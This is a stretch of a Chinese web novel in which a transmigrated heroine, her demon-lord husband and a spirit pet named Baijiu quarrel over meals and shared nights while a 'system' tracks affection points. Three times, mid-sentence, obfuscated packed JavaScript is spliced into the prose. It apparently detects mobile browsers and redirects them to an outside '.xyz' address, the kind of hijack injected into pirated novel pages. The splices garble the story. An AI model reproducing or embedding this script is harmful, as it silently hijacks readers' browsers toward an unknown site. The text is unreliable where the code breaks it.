为了能让羿逸安更好地承担起复兴魔族的重任,大长老不惜残忍至极,无所不用其极,试图让羿逸安明白—— 在这个弱肉强食的世界里,唯有杀戮,才能让魔族在这浩瀚的宇宙中立足,才能让其他各界对魔族心生敬畏。 他以为,至此,自己已然成功。 * 文可烟和白酒在这方净地的生活,倒是过得格外惬意,不再像在那个世界那样频繁且迫切地想要寻死,反而有了一种随遇而安的心态。 总之,羿逸安来时,她便努努力,看他是否会真的动手;他不来,她也没有其他办法,只能暂时苟活。 否则,难受的还是她自己。 不过,近一周以来,她的思绪倒是被一件事紧紧缠绕,也没可刻意去关注羿逸安的动向。 上次系统说,宿主原身是一株无系无根的仙子绿萝,因机缘巧合落入凡尘。 想着这不明不白的解释,文可烟不可避免地对自己的身份有了些好奇。之后,她多次呼唤系统,却始终未得到回应。 难道系统只在好感度变化时才现身?还是说仍在修复之中? 绿萝? 在之前那个世界她倒是听说过,据说一种生命力顽强的植物,能在各种环境中茁壮成长,对光照、水分和土壤的要求极低。即便在恶劣的条件下,绿萝也能顽强的生存下来…… 难怪,她不吃也不觉得饿……绿萝果然是一种适应性很强的植物。 可……仙子?机缘巧合?这其中又有什么其他关窍呢? 不声不响间,屋内烛光熄灭了。 这一周以来,烛光总会在文可烟躺下没多久后莫名熄灭,起初她还以为是有什么鬼魅在暗中作祟。 但渐渐地,她发现这烛火熄得实在太是时候,每次都像是刻意为她营造一个安静的睡眠环境,提醒她该睡了。 而且,这里是魔族的净土,理应不会有什么太大的危险。 文可烟便心安理得地,把这一切当作是魔族净地特有的法术。她如往常一样,自然地翻过身,伸出一只手摸索着白酒那毛茸茸的身体,将它紧紧抱在怀中,一同闭眼休息。 只是这一次,文可烟习惯性伸手去找白酒时,划过的却是一手冰凉。 文可烟顿时警铃大作,猛地起身。 “白酒……白酒?” …… “你在哪儿?” 周围一片死寂,静得只能听见文可烟自己略显急促的呼吸声在空旷的房间内回荡。 一股莫名的寒意悄然爬上她的脊背,让她感到一阵毛骨悚然。以前熄灭烛火时,她可从未有过这样的感觉。 难道是因为白酒不在身边?还是…… 文可烟猛地一颤,全身的汗毛都竖了起来。她总感觉有一个寒冷的身影正静静地站在她旁边。 文可烟紧了紧裹在身上的被子。 “谁?是……谁在那儿?” 在暗处,羿逸安沉默着静静观察着文可烟,此刻的他呼吸急促,双眼猩红。 不久前,刚刚才经历了一场杀戮的羿逸安,情绪和思绪都极为异常、亢奋,混乱不堪,难以平息。 以往,心情不好时,他总会不由自主来到魔族净地,待上片刻。 他也曾好几次在夜色中,目光不经意间瞥见小屋透出的温暖光亮。那一点明亮直直地映入羿逸安的瞳孔之中,这是他熟悉却又陌生的模样。 小时候,每当他在外玩耍回来得不落家时,屋里透出的那抹颜色总是亮着,像是在刻意等着他一般。可如今,他心中明白,里面的人并不是他所期待的,他更没有什么偷窥他人隐私的癖好。只是那光,每每都会牵扯着他的心,让他忍不住一次次地将目光投向那里。 于是……他做了和小时候一样的事情,估摸着文可烟入睡的时间,在屋外替文可烟熄了烛火,然后悄然离去。 这,渐渐成为了他的一种习惯,后来也便一发不可收拾。 只是,今日,已经很晚了。 羿逸安从阴牢出来,心中的暴戾与混乱前所未有的浓烈,不断冲击着他的理智。 他再次来到魔尊净地,却意外发现小屋依旧亮着光…… 文可烟似乎还未睡下,可……都已经这么晚了。 羿逸安整个人都停住了,那抹光亮实在刺眼却又实在太吸引他了…… 这一次,他鬼使神差般地化作一股无色无味的气息,悄悄潜入了这间屋子。 静静站在床边,看着躺在床上眼神迷离的文可烟,顺手帮他这位名义上的妻子将房间的烛火熄灭了。 就这样,在这样的的环境中,待了许久。 奇怪的是,就这样静静地待着,那些纠缠他的不安情绪竟渐渐地消散了。 他发现他那些为人所不齿的情绪似乎总能被文可烟轻易抚平。 在文可烟身边,他总能找到宁静与安宁。 她,似乎已成为了治疗他内心混乱的一剂良药。 而这个秘密,只有他知道。 …… 突然,房间内再次烛火大亮。 文可烟被这突如其来的光亮惊得猛地一颤,身子不由自主地蜷缩了一下,双手也紧紧抓着被子,眼珠微微四处转动着。 借着光亮,她终于注意到床边站着一个魔,一个身着黑衣、身姿挺拔的魔。 羿逸安身上散发着一股淡淡的果香,周身似乎还萦绕着一层薄薄的水汽,在烛光的照耀下,更显超凡脱俗。 他的脸色也因热水的熏蒸而微微泛红,就像是刚刚从仙境中沐浴而出了一般,带着丝丝不染尘埃的纯净。 羿逸安就这样静静地站在那里,看着文可烟。目光澄澈如水,眼底毫无之前的戾气与威严,而是一片纯净,比天山上那捧最清冽、最高远的泉水还要清澈几分。 他似乎……还洗了澡? 他的出现,以及这个发现让文可烟有瞬间的愣怔,她嘴唇微微翕动,声音不由自主地羞涩与惊讶:“你……怎么来了?” 羿逸安听着这话,心中莫名有些不舒服。 那一汪清泉似的双眸掀起名为疑惑的涟漪,羿逸安眉头微微皱起,似乎还有些不悦。 不是她说的一周一次? 文可烟看着羿逸安脸庞挂着不解的表情,心中疑惑更甚,纷乱而飘忽。她的目光一会儿落在他脸上,一会儿落在他眉心,一会儿又与他对视……试图从羿逸安的眼中找到答案。 两人就这样静静地站着,带着各自心中的疑惑,相顾无言,足足看了半刻钟之久 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16423422|184831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 文可烟是因为确实很疑惑,但羿逸安却似乎只是像孩童般的赌气…… 还是之前那一招,文可烟打破沉默:“你……看见白酒了吗?” 羿逸安的心中微微一震,他当然见过文可烟口中的白酒,那个总被她抱着的小团子。 可他不能说,一旦开口就……暴露他其实之前隐匿于此,像个偷窥狂,绝非君子所为。 羿逸安眼神飘忽,回答却斩钉截铁。 “没有。” 文可烟似乎没想到羿逸安这次会如此干脆且生硬地回应,她又是一愣,呆呆地轻应了一声。 “哦。” 也许是屋内的气氛变得有些沉闷,甚至压抑。 等文可烟从那份莫名的愣怔中回过神来时,床边的身影早已如同幻影般消失得无影无踪,只留下一抹淡淡的余温,在空气中缓缓消散。 烛火也随之熄灭,将整个房间笼罩在一片漆黑之中。 不一会儿,床上传来窸窸窣窣的声音,那是文可烟机械般轻轻躺下的声音,她只是在按照本能的反应,试图让自己融入这片黑暗,寻找一丝安宁。 她习惯性地摸索着身旁的床铺,指尖触碰到的依旧是……冰冷的、毫无温度。 文可烟不禁被一股莫名的情绪所包围,身体也忍不住打了个寒颤。 她缓缓地蜷缩起身子,双手紧紧地抱住自己,似乎想要用这种方式来驱散内心的情绪。 一片黑暗下,又只剩她一个人了…… 虽说文可烟这一周的生活和在那个世界一样都是孤独的,但好歹没那么痛苦,而且还有白酒作伴。日子过得除了无聊了点,却也赋予了她前世从未拥有的自由与宁静。 但情绪不是想控制就能控制得住的,她内心深处那份对解脱的渴望,时隐时现,蠢蠢欲动…… * 那之后的一周,文可烟又发现了一件怪事,房间的烛火熄灭的时间愈发提前,似乎有什么奇怪力量,在暗中操控着这一切。 羿逸安真正再次现身的那个夜晚,烛火没有提前熄灭,而是前所未有的晚。 是夜,文可烟静静地躺在床上,室内烛光柔和,却照耀得她辗转反侧,难以入眠。 正疑惑之际,床边忽然有一个身影在轻轻晃动。 文可烟缓缓抬眼望去,她与那人,啊不……那魔的目光在空中交汇,诡异地对视了几秒。 她猛地反应过来,坐起身,转身面对羿逸安,眼中闪烁着复杂且微妙的情绪。 “你……” 文可烟起了一个话头,原本想问他为何会出现在这里,却突然灵光一闪,想起了他们之前那个不知谈没谈定的约定。 而今天,刚好是距离羿逸安上次离开的一周。 话语在她舌尖上打了个转,最后变成了另一个问题。 “一周一次?” 羿逸安闻言,脸色微变,冷漠的面容上出现了细微的裂痕,耳尖不自觉地染上了一抹红晕。 他顿时感觉有些不自在,逃避似地移开了视线,目光却不经意间瞥见了桌上那几乎未动的菜肴。 他眉头轻轻蹙起,语气中有着连自己都没察觉的温柔。 “你又没吃?” “哦,我其实……” 9. 白酒(五) 文可烟望着他,突然想起什么,那双清澈的眼眸中闪过一丝狡黠的笑意,却又迅速收敛,好似只是昙花一现。 她故意摆出一副满不在乎的模样,嘴角勾起一抹挑衅的笑。 “对啊,我没吃。” 羿逸安的表情瞬间凝固,三个字像是从牙缝中艰难挤出,裹挟着一丝从未被人如此挑衅的怒意。 “为什么?” 文可烟看着他的反应,心中闪过一丝窃喜,但很快又被她深深地隐藏起来。她故意摆出一副欠打的模样,嘴角勾起一抹玩味的笑。 “我就不吃,你能拿我怎样?” 夫妻之间,不应该是这样的。 羿逸安想起娘亲曾说过的话,夫妻之间应该相敬如宾,关照她,爱护她,保护她。 所以……他才会问她为什么不吃饭,所以他才会这么关心她为什么不吃饭。 可她为何会是这种反应? 文可烟的反应让他感到困惑和不解。 他爹娘从不是这样的相处模式,他们总那么和谐,那么恩爱…… 羿逸安显然没遇到这样的情况,他有一瞬间的怔然,像是被突如其来的风暴卷入了一个未知的领域,一时之间竟不知该如何应对。 可面对文可烟那略带挑衅的眼神,他的身体却本能地作出了反应,一只手臂不由自主地高高举起,手指微曲,似乎下一秒就要扼住她的咽喉。 【警报!警报!宿主行为危险,请立即停止!】 【请宿主牢记攻略任务,切勿偏离轨道。】 在这千钧一发之际,文可烟的脑海中突然响起了系统的紧急提示。 面对这生死存亡的瞬间,她竟奇迹般地保持了一丝玩世不恭的幽默,嘴角勾起一抹倔强的笑,与系统斗起了嘴。 “哼,我文可烟,这辈子都不可能被那个冷酷无情的杀人魔头所攻略,你就死了这条心吧。” 就在她与系统拌嘴的空档,羿逸安那只即将落下、能决定生死的手,竟缓缓收了回去,紧紧藏在身后,宛如做错事的孩子般低下了头,长长的睫毛轻轻颤动,投射出一片淡淡的阴影,掩住他眼中复杂情绪。 文可烟捕捉到这一幕,心中莫名涌起一股奇异的兴奋与期待。 她嘴角微扬,用一种近乎挑衅的语气哄骗道:“怎么,你要杀了我吗?还是说,你害怕了?” 此时的羿逸安却并不如文可烟所想,只见他气定神闲地缓缓抬头,目光深如寒潭,平静无波地注视着她。 文可烟心下一惊,根本没想到羿逸安的转变如此迅速,她都还没反应过来,好似经历了一场虚梦,一切就结束了。 她有些无措地再次开口,语气因这过快的反转而没了一开始的气焰。 “我不吃饭,你不杀了我?” 羿逸安清亮的眼神中蕴藏着一层文可烟读不懂的情绪,他慢条斯理地倒了一杯茶,随后淡淡开口。 “你若是乖乖吃饭,本座再考虑要不要杀你。” 文可烟心中一凛,却并未察觉到这句话中的蹊跷,只是迫切地想要逃离这个令人窒息的牢笼。 于是,她毫不犹豫地起身,坐到桌前,不顾形象地大口吞咽起来,每一口都像是在与时间赛跑,好像只要吃得够快,就能逃离这个“活着”的枷锁。 羿逸安在一旁悠然坐下,身姿依旧挺拔,宛如一尊高高在上的神祇,掌控着世间万物的生死轮回,闲散而自得。 他的目光在文可烟身上停留了片刻,随后又转向床上,似乎是在思考着什么。 文可烟吃得有些撑了,才放下筷子。她乖巧地坐着,闭上眼睛等着羿逸安的“赐死”。 可等了许久,却只感觉到一阵清风拂过脸庞,羿逸安身上的气息向她扑面而来,随后又慢慢在空气中淡去。 她突然意识到哪儿有些不对劲,猛地挣开了眼。 周围哪儿还有羿逸安的影子。 她被羿逸安耍了,她才是那个被诱骗的人。 床上传来细微的声响,文可烟偏头看过去,缓缓站起身来,动作因吃得太撑而显得有些笨拙。 站在床边,那双纤细的手轻轻掀开了锦被的一角。 白酒就这么无辜地暴露在空气中,两只大眼睛瞪得圆圆的,一脸茫然地看着她。 文可烟一副安然的模样,好似知道刚刚的响动是白酒闹出来的动静。可经过刚刚那一遭,心中没好气,刻意压抑着怒气。 “去哪儿了?” 白酒似乎感受到了文可烟的不满,张了张嘴,想要解释些什么,但话未出口,就被文可烟那略带冷意的目光打断。 “别告诉我你也不知道。” 文可烟是真的有些生气了,白酒总是不声不响地离开,这都第几次了! 和刚刚那魔一模一样! 讨厌死了! 白酒低着头,双眸低垂,模样显得可怜兮兮的,还用着它奶声奶气的声音说:“我……我主人把我接走了……” 看着白酒委屈的可爱模样,文可烟的心不禁软了下来。 她觉得自己就像是注定要被诱骗的人,前有羿逸安的绝世帅脸,后有白酒的无辜萌眼。 “你主人到底是谁……” 说到这儿,文可烟的语气突然放缓,她似乎意识到了什么。 这儿除了她和羿逸安之外,就再也没有其他人的存在了。 而且每次白酒消失的时机和羿逸安到来的时间都如此吻合,这让她不得不产生怀疑,心中暗暗琢磨着其中蹊跷。 白酒第一次不见,是在羿逸安的宫殿,她离开的那天; 白酒出现的那天,正是羿逸安第一次到这儿来,而她提出“一周一次”的那天; 白酒第二次不见,是羿逸安第二次出现在这儿,他说完“没有”就消失的那天; 而白酒再次出现,是羿逸安第三次出现在这儿,诱骗她吃饭,也就是今天。 文可烟表情有些茫然。 “你主人不会是羿逸安吧?” 白酒懵懵地看着她,小脑袋歪了歪。 文可烟以为白酒也不知道羿逸安的真名,于是再次开口:“你主人不会是魔尊吧?” 白酒还是懵懵的,大眼睛眨巴眨巴的。 这孩子不会真傻了吧? “你……” 文可烟刚想问出口,白酒却在此时行动迟缓地点了点头。 “你……怎么了?” 文可烟看着白酒那迟缓的动作和呆滞的眼神,心中的疑虑瞬间被担忧所取代。 白酒又是迟缓地摇摇头。 文可烟的声音更加急切了。 “你没事吧?” 说完,她不由自主地伸出手,轻轻抚摸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16423423|184831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着白酒那略显凌乱的毛发,似乎想用这种方式给予白酒一些安慰和温暖。 白酒迟缓地点点头后,又摇了摇头。 文可烟连续抛出几个问题,但白酒只能以迟缓的摇头和点头作为回应。 状态越来越好了。 状态越来越好就行,没什么大碍,恢复也只是时间问题。 “你什么时候才能完全恢复过来呢?” 文可烟伸手在白酒身上胡乱揉摸着,一通乱摸后,还不忘戳戳白酒的小尾巴。 小尾巴却像是白酒的命脉一般,文可烟一戳,白酒突然灵敏地产生了应激反应。尾巴十分快速的抖动一番,与正常速度时的白酒别无二差。 文可烟看着这一幕,心中的担忧逐渐消失,被莫名的喜悦取代,她戳得愈发开心了。 就这样打打闹闹了有一会儿,室内突然陷入一片黑暗。 …… 文可烟的笑声戛然而止,愣了一下,她觉得这个烛火有点神。 当文可烟再次醒来时,她感觉一个毛茸茸的生物在她的脸上轻盈地蹭来蹭去。 她微微睁开眼睛,伸手抚摸着白酒柔软的毛发,感受着小团子带来的温暖和安慰。 文可烟刚睡醒,有些睁不开眼,只轻声问。 “所以你是又被关进“小黑屋”了?” 白酒转过身来面对着文可烟说道,语气说不上来的委屈和迷茫。 “嗯,我也不知道为什么。” 文可烟抚摸着白酒的手微微一顿,眼中闪过十分细微的不舍和留恋。 “那下次他再来,你是不是又要离开了?” “应该是吧。”白酒声音也有些低沉和失落。 文可烟坐起身来,看着白酒的眼神有些认真。 “那你要时时刻刻待在我身边,至少能在你走之前告诉我一声。” “嗯。” 看着那小团子情绪不高的的样子,文可烟心中产生出怜悯,她试图安慰白酒。 “还有一周呢。” 这话一出,白酒似乎并没有因此而高兴起来,只勉强扯了扯嘴角,露出一个假假的笑容。 文可烟试图转移白酒的注意力,于是提议出一个想法。 “我带你去外面玩怎么样?” 她也许自己也没有想到,她还会有这样安慰别人的时刻吧。 文可烟拉着白酒穿过曲折的小径,走了一条她从未走过的路,来到小庭院的尽头。 出乎意料的是,这里竟然隐藏着一方温泉。温泉的雾气袅袅升起,与周围的绿树红花相映成趣。 文可烟迫不及待地脱下鞋子,拉着白酒就要往下跳。 白酒却显得十分抗拒,它拼命挣扎着想要挣脱文可烟的手,小爪子在空中胡乱挥舞着。 可奈何已经晚了。 最终,它还是被文可烟拉着一起跳入了温泉之中,溅起了一片水花。 随着“噗通”一声,白酒被文可烟拉进了温泉中。 只一瞬,白酒的毛发全湿了,紧贴着皮肤,显得有些滑稽和丑陋。 文可烟忍不住“噗嗤”一声笑了出来。 白酒一副就知道会是这样的表情,气得湿润的毛发都炸起来。它站在原地,斜睨着文可烟。 “不准笑。” 文可烟完全没看见白酒,笑得前仰后合。 10. 微倾(一) 文可烟笑得太过投入,余光不经意间瞧见了白酒那张略带愠色的脸上。她捂着嘴努力憋着笑,肩膀一抖一抖的。 可终究是徒劳,完全止不住。 白酒就一脸无奈盯着她,眼角微微抽搐,终究还是叹了口气。 “算了,这汤池有奇效,泡泡也不错。” 文可烟行动缓慢地在池子里走,水花随着她的脚步轻轻荡漾,她顺着白酒的话接了起来。 “什么奇效?” “治愈奇效,”白酒不急不缓地说着。 “不管是内伤还是外伤,只要泡一泡,都能被治愈。” 文可烟闻言,提起的右腿瞬间停在某处,迟迟没有落下。她的脸色变得奇怪起来,下一秒,她面无表情转身朝地面走去。 “我不想泡了。” 文可烟这突如其来的转变令白酒有些没反应过来,呆了片刻。 文可烟许是感受到了白酒的目光,下意识地低下头,将自己遮掩起来。 片刻之后,她再次开口,声音里多了一份刻意营造的平静,却显得更加突兀与不打自招。 “穿着衣服泡温泉,总觉得不太舒服,下次……下次再来吧。” 白酒没有怀疑她的反常,只默默跟在文可烟后面离开了温泉,进了房屋。 文可烟屈起双腿,将下巴深深地抵在膝盖上,眼神空洞且无神地看着眼前的床帘,不知在想些什么。 她只是静静地坐着,任由时间流逝。 白酒似乎感受到了她的情绪,扇动着翅膀,默默飞上床,靠在她身边。学着她的样子,屈起双腿,将下巴抵在膝盖上,无声陪伴着她。 只是,它的四肢太段小,摆弄起来十分不协调,看起来就像是个正在努力模仿大人的小孩子,实在滑稽。 庭院外,隐隐约约传来窸窸窣窣的声音,像是风吹动树叶的轻响,又像是细碎的说话声。 但此刻的文可烟,根本没注意到外面的动静。反倒是白酒像是感受到什么,突然一个激灵,迅速钻进锦被下面,只留一只还没来得及掩盖的小脚。 文可烟被白酒这番动静所惊扰,刚准备开口询问,一个熟悉而又陌生的声音打断了她。 “今天有好好吃饭?” 羿逸安的声音略显僵硬,好似第一次学说话那般生疏。 文可烟侧目,正好对上羿逸安那清澈如水的双眸。 那一刻,她心中莫名泛起一阵酸楚,本就因温泉可能无意间抚平了她的抑郁而情绪低迷,此刻因羿逸安的出现,这份低迷更是加剧。 她心里十分清楚,羿逸安的出现意味着白酒也将随他离去。 文可烟一时间忘记了动作。她张了张嘴,却发现自己不知该从何说起,只能下意识地吐出一个字。 “你……” 只是在羿逸安那澄澈却又疑惑的目光下,文可烟却感受到了一种压迫感,下意识回话。 “吃了点儿。” 话音刚落,羿逸安只是静静地伫立在那里,一言不发。他那一双清凉润泽的双眼,此刻被掩藏在斑驳的光影之下。 文可烟看不清,也读不懂羿逸安眼中的情绪。只见他作势一转,身形微微晃动,似是要就此离去。 文可烟以为他要离开,慌乱之下,她的手在旁边的位置胡乱摸索起来,似乎在寻找着什么。可她摸遍了所有可能的地方,始终没有找到白酒。 情急之下,她猛地抬起头。 “等等。” 羿逸安的动作一顿,向她看了过来,眼中的疑惑愈发明显。 “你把白酒给我留下。” 文可烟用的是命令句,因为她知道,这样或许能有一丝机会留住白酒。 即便这方法可能并不那么有效,但事物都有两面性,无效的反面,也许就是会惹怒羿逸安。 而恰巧,激怒他,也是她所求。 无论结果如何,她都不会亏。 羿逸安神色一顿,随后挑眉。 “白酒留不留下,与本座何干?” 文可烟偏过头,疑惑地“嗯”了一声,随后看着他。 “你不是白酒的主人吗?” 羿逸安比文可烟还要惊讶,对于她的质问,他冷若冰霜的脸出现片刻茫然。 “什么意思?” 羿逸安眨巴眨巴眼睛,这副一无所知的模样,让文可烟开始怀疑自己是不是搞错了什么。 “什么意思你不知道?不要装。” 羿逸安依旧是那副懵懂的样子,眼神纯净得如同初生的婴孩,那清澈双眸里还透着几分无辜,好似世间的一切纷扰都与他无关。 此时,文可烟不经意间抬眼瞥去,才惊觉他的容貌现下竟有些昳丽。 他安静地站在那里,一头乌发如绸缎般顺滑,随意地散落在肩头,几缕发丝调皮地垂落在额前,随着微风轻轻晃动,更添了几分慵懒。 眼眸像是蕴着一汪清澈的泉水,明亮得像闪着点点星辰。肌肤白皙如玉,在烛光的映照下,十分柔和,吹弹可破。 一袭黑衣更能凸显得他身姿挺拔,气质出尘,宛如从画卷中走出的仙人,清冷又禁欲高洁。 若非他今日露出的这副水汪汪的纯真模样,倒是真难想象,这大名鼎鼎的魔尊大人,竟还有如此魅惑的一面。 文可烟被他这幅模样震得半天说不出话来,慌乱地别过头去,不愿再看他。 这时候还对她使美男计,算什么英雄好汉。 好吧,他本来也不是什么英雄好汉。 这时,床榻那边传来了一阵细微的声响,白酒扭扭捏捏地从被褥里露出一双明亮又好奇的大眼睛。 文可烟侧头,刚好与白酒对视了一眼,心中顿时有了计较。 她指着白酒,回头对羿逸安说:“这难道不是你的九尾灵宠?” 羿逸安的表情依旧淡然,没有明显变化,但文可烟清楚的看见,在听到“九尾”这个词时,他眼神微妙地停顿了一下。 “是吗?” 他轻飘飘的话语如同微风拂过耳畔,让文可烟耳骨泛起一阵微微的麻意。 “你还不承认?它消失和到来的时间与你每次来的时间完全吻合,而且这除了你就是我,没有其他人来过。” 羿逸安再次轻飘飘地开了口。 “这样啊。” 那语气,既不热情,也不冷淡,就像一阵无形的风,轻轻吹过,却让文可烟心头的火苗子嗖嗖地往上涨。 死就死,活就活,她最烦的就是这种要死不活、模棱两可的样子,真的气煞她也。 文可烟气得牙痒痒,紧紧地捏住拳头,只努力压抑着心中的那股即将喷射的怒火。 就在她准备好一番言辞,想要与羿逸安好好理论一番时,他那轻飘飘声音再次拂过她耳畔。 “那就是吧。” 他的语气全程都是淡淡的,这幅要死不活的模样,让文可烟想发火却又无处可发。 他的语气真的好欠打呀呀呀~! 他承认了,可文可烟却觉得一口气堵在心口,怎么也释放不出去。 她轻轻呼出一口气,试图平复自己就要燃烧起来的小宇宙,可那口气却像是带着无尽的怨气,化作一声怒吼:“所以你必须把白酒留下!” 躲在锦被下的白酒,不由得伸出小手紧紧捂着耳朵,下意识感叹。 这……这……温泉是真的治愈心灵吗?怕不是假的吧? 可它不知道的是,正因为多少治愈了点儿,才文可烟在这个世界上有了第一次情绪波动。 羿逸安对她的不客气毫不在意,眼睛都没眨一下,只平静着转头凝视着她,就事论事。 “可本座并不知晓如何带走它或留下它。” 他的语气淡然如常,如同山间清泉,清澈而冷静,让人听不出一丝情绪波动。 文可烟心中一震,她震的是,他被她如此对待,却依旧保持着那份清冷高洁;震的是,这样一个随时都在弑杀的魔尊,却屡次对她手下留情;震的是,他居然不知道白酒是他的灵宠…… 她目光紧紧地落在羿逸安脸上,试图通过他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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说完,她挺直脖颈,逼近羿逸安一步。 这次,羿逸安终于有了反应,他微微皱了皱眉头,目光不经意间掠过文可烟白皙细腻的脖颈,又不动声色迅速移开视线。接着,缓缓吐出两个字。 “三次。” “……” 不是吧,这还能忍?这都不杀她?还给她涨了一次? 真是位大善人啊! 她差点被他气笑了。 没被他杀死,倒被他气死。 走着瞧吧,看最后到底是气死她还是杀死她。 文可烟实在没想到羿逸安竟然比她还能忍耐,关键是他刚刚甚至还倒退了三步! 明明她也只上前了一步啊! 文可烟眼珠微转,将羿逸安上下打量一番。 她不是没听说过魔尊杀人如麻的传说,但眼前的这个魔尊却让她真真实实感到陌生。 两人长久地对峙着,气氛实在诡异。 文可烟有预感,再这样沉默下去,羿逸安可能又要像之前一样消失了。 俗话说“留得青山在不怕没柴烧”,还是得先稳住他再说。 “好。” 【恭喜宿主,你目前对羿逸安的好感度上涨至1%,请继续努力,再接再厉!】 “……” 文可烟的嘴角微微抽搐。 “你确定你这检测系统修复好了?” 【本系统绝对保证数据的真实性】 不是,有没有搞错!她都要被羿逸安气死了,她的好感度不降反增?而且羿逸安他什——么——也——没——做——! 文可烟此刻只觉得那系统聒噪得很,扰得她心烦意乱,索性不再理会。转而将注意力重新放回羿逸安身上。 11. 微倾(二) “所以,你是真不知道白酒是如何跟你一起离开的?” 片刻之后,羿逸安缓缓点了点头。 文可烟轻轻捏了捏自己的下巴,目光满是困惑,小声咕哝。 “这就奇怪了,今天白酒也没有在你来的时候就消失。” “究竟是什么原因呢?” 一阵风吹来,羿逸安看了看外面的天色。夜幕早已如墨,而他是时候该离开了。 文可烟像是知道他的想法一般,先他一步开口。 “你今晚在这儿睡。” 羿逸安闻言,脸上闪过一丝错愕,像是听到了什么天方夜谭一般,整个人呆立在那里,都忘记了反应。 “和我睡。” 文可烟的声音在静谧的空气中轻轻响起,却余音绕梁。 羿逸安的瞳孔骤然间紧缩。 文可烟继续平静地说出后续的补语。 “在一张床上。” 羿逸安瞳孔缓缓扩张开来。 他当然知晓夫妻之间应该睡在一起,他曾经见过爹爹和娘亲晚上进了同一间屋子睡觉。 只是,他从未想过要与文可烟共枕而眠,更未曾主动提及此事,因为他素来不习惯与他人同眠,也从未有过这种经历。 但现下文可烟却如此直接地提出了这个要求……让他一时之间竟不知该如何回应。 羿逸安沉默了片刻,随后,他面色如常,只是那点头的动作显得迟缓且僵硬,轻声道。 “嗯。” 他从头到尾都直直地直视着前方,清冽的双眸刻意地避开一切与文可烟的接触。 文可烟把羿逸安这一连串反应看在眼里。她努力了一晚上,费尽心思地想要引起他的怒意,可得到的反应还不如她让他留下来时激烈……她深受打击。 关键是,他这简单的一声应答,却让文可烟瞬间愣了又一愣,她眼中的惊讶几乎要满溢而出。 她刚只是口嗨,根本没想过羿逸安会答应这样流氓的要求。 在她原本的设想里,他应该会羞恼地拔刀相向,刀尖冷冷地抵上她脖颈,用那冰冷如霜的眼神宣告她的死期……谁曾想他会如此顺从。 他难道不应该摆出一副“就凭你也配和本座共寝”的姿态,反手便将她斩杀吗? 他……怎么……怎么还……答应了呢? 这一突如其来的变故让文可烟有些措手不及,她的心跳甚至在这一刻莫名地重重一跳。 【恭喜宿主,你目前对羿逸安的好感度上涨至2%,趋势正呈持续上涨中,请继续保持哦。】 “……” 在这种情况下,文可烟竟产生出了一种莫名的羞耻感。 怎么会如此这样……被这样一个看不见摸不着的系统赤裸裸地监视着、量化着自己的情感,还被如此直白地点破…… 尴尬间,两人的目光再次交汇。 羿逸安那双眼睛,宛如深山中清澈的溪流,透着一股不染尘埃的纯净,正纯真无邪地盯着她。 文可烟心下一紧,似乎有什么东西在她那颗本就慌乱的心上拧了一把。 她觉得她被羿逸安蛊惑了。 她现下唯一的感受便是,他那双眼睛配上那张俊美的脸庞,是真的很可怕。 那可怕之处不在于会带来伤害,而是真的能蛊惑人心,让人不由自主地沉沦其中。 她在心中不断地告诫自己,他的一切都是伪装,他是为了接近她、欺骗她而故意展现出的天真无邪。 他是那个冷酷无情的杀人魔,他的温柔只是陷阱,是为了将她拉入更深的绝望之中。 【恭喜宿主,被攻略目标目前好感度上涨至3%,加油哦。】 不!她不能相信任何人,世界太过复杂,充满了虚伪与欺骗。 精致的利己主义会将每个人都牢牢束缚,每个人都无法逃开,会让他们都会为了自己的利益而不择手段,戴上千篇一律的虚伪面具。 更何况,羿逸安是这个世界唯一的大反派,他的每一个笑容、每一个眼神,都有可能是精心设计的骗局。 他此刻这幅的温柔、纯真的模样,不过是用来击溃她心理防线的武器。她不能相信他,不能让自己陷入这片虚假的温柔之中。 所以,她只要做回之前那个毫无感受,毫无反应的文可烟就可以了。 这样,就可以相安无事,等着她被羿逸安杀死,等着一切都结束的一天,等着…… * 文可烟靠在内侧,羿逸安则在外侧,他们两人之间似乎横亘着一条无法逾越的银河,谁也不敢逾越。 僵硬地躺在床上,仿若两尊精致的木偶,一动也不动。即使是柔然无比的锦被,也无法使得他们放松分毫。 白酒起初还在两人中间小心翼翼地蠕动着,时不时用脑袋蹭蹭这个,蹭蹭那个。 随着房间内气氛愈发沉重,白酒也似乎感受到了这股压抑,原本好动的身躯渐渐慢了下来,最终安静下来,蜷缩成一团,耳朵也随之耷拉下来。 可能是被这寒冷有压抑的气息冻得实在受不了,“嗖”的一声,一溜烟消失了,不知去了哪儿。 唯一的见证者,也消失得无影无踪。 “本座可什么都没做。” 羿逸安的声音僵硬而干涩,像是从嗓子眼里挤出来的。 他双手高高举过头顶,手机微微蜷曲着,连眼珠子都不敢转动分毫,像是很怕引起文可烟的怀疑。 文可烟当然知道,羿逸安一直没动,根本没有机会动手……呃,当然也许有机会,只不过凭借毕竟自己如今这副凡胎灵魂,哪里能识破他的手段。 即便如此,文可烟还是感受得到,白酒是自己主动消失的。 